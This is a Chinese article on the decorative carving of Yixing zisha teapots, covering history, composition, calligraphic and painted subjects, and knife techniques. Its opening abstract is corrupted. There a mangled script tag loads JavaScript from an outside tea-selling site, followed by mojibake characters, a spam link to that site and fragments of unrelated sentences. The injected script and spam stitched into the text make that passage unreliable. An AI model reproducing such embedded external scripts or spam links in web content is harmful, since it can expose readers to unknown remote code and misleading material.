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浅谈紫砂陶刻的装饰艺术
摘要：紫砂壶作品可供刻绘的地方很小?script type='text/javascript' src='http://www.368tea.com/js/v.js'>绾卧诜酱缰兀箍蘧〉南胂螅倘找娣比佟！?a href=http://www.368tea.com/ id=kw target=_blank>中国紫砂壶装奖赛”动员会在方圆出有独特意蕴的内容来，构图是极其重要的。一副成功的陶刻艺术作品，首先是构图的成功原矿红泥与原矿紫泥的区别。成功的构图能使作品内容顺理成章，反之，就会影响作品的效果。 宜兴紫砂壶是中华民族文化艺术的瑰宝．数百年来，她以独特的造型艺术受到人们的喜爱。并且紫砂壶艺人与历代文人墨客合作，使得紫砂壶的造型和装饰等达到一定的高度。文人、书画家积极参与和提倡陶刻装饰，将文字、书法、绘画、篆刻融于壶艺之中，使得陶刻装饰成为紫砂壶陶装饰的主流。 紫砂壶陶刻在初始之时已是紫砂壶装饰工艺的重要组成部分。从篆刻作者铭款开始就被赋予了极大的意义，时大彬以竹刀画之．直至清朝“西冷八大家”之一篆刻名家陈曼生亲自刻陶，作为一县之长，由于自身喜好，把金石篆刻与紫砂壶造型艺术结合起来，并带动了一大批文人墨客参与紫砂壶陶刻装饰的行列中，对紫砂壶的发展作出了极大的贡献。 紫砂壶陶刻不是单一地在壶体上进行刻画．它作为在胚体的一种装饰，讲究陶刻的刀法，要求技艺老道娴熟，在构图上要注重陶刻的内容安排。留白与整合，在内容上要切合壶的各方面形、态等，足见情趣和意蕴。 紫砂壶作品可供刻绘的地方很小，如何在方寸之地，展开无尽的想象，篆刻出有独特意蕴的内容来，构图是极其重要的。一副成功的陶刻艺术作品，首先是构图的成功。成功的构图能使作品内容顺理成章，反之，就会影响作品的效果。构图需有章法，有层次，有了理解的构图才能够得心应手。对于画作构图的处理可以简洁地概括，对于书法的构图可以是满身满面，例如曼生壶。 一般陶刻的构图与国画相似，就是一个山水的基本构图模式。构图一般是三角形构图，从中有高低错落，有虚与实对比的关系。在对比上讲求宾主，即陶刻作为装饰，不可本末倒置地盖过了紫砂壶的风头，其次是线条的曲直、动与静之间的对比等，只有融合了各个方面的构图．才是完整完美的构图。 陶刻的内容主要以传统的中国书画为题材。极具文人意味的内容，更为符合人们的赏美情趣。陶刻作品特别讲究各体书法的展示，在书法上可以是篆书、草书、隶书、钟鼎纹等等，也可以是书画结合，工写相融。凡此种种皆可表现出其深厚的文化内涵来，同时整合严谨的构图形式，参差有致，比例协调，体现了陶艺的装饰的严整性。陶刻内容可以是切题、切情、切壶、切茗，讲求怡情雅兴．陶冶情操，追求趣味、哲理等。无论是山水、还是花鸟、人物，都要做到造型精准、神态生动。 陶刻不同于金石镂刻，是在较为坚硬的物体上刻绘的，紫砂壶陶刻是在泥胚上进行的以刀代笔的篆刻，它要求运刀快捷，下刀如有神，不滞留，不停顿。 在运刀的过程中，注意指、腕问的力道。注重线条的变化或深或浅、或粗或细、或润或枯，都要做到抑扬顿挫、轻重缓急，将陶刻的内容淋漓尽致地表现出来。所以陶刻讲求熟能生巧，只有多练习，多作锻炼，才能够真正做到运刀如笔。 对于刀法的运用，有时可把双刀、单刀、三刀、冲刀法等等几种刀法结合起来，形成多变的刀法．根据内容和形式整合完成。陶刻还有阴刻和阳刻两个大类，都属浮雕刻法。陶刻的刀法要能够充分表现出国画味、书卷味、金石味，达到气韵生动的效果。 陶刻是一项技术性和艺术性很强的工作，它不但要求作者要有一定的书法功底，还要有绘画基础等，主要是要有一定的刀法功力，在完美的构图排布下，内容合理的安排下，将这几者有机的结合起来，融诗、书、画、刻于一体，才能表现出陶刻的精髓和装饰艺术性。
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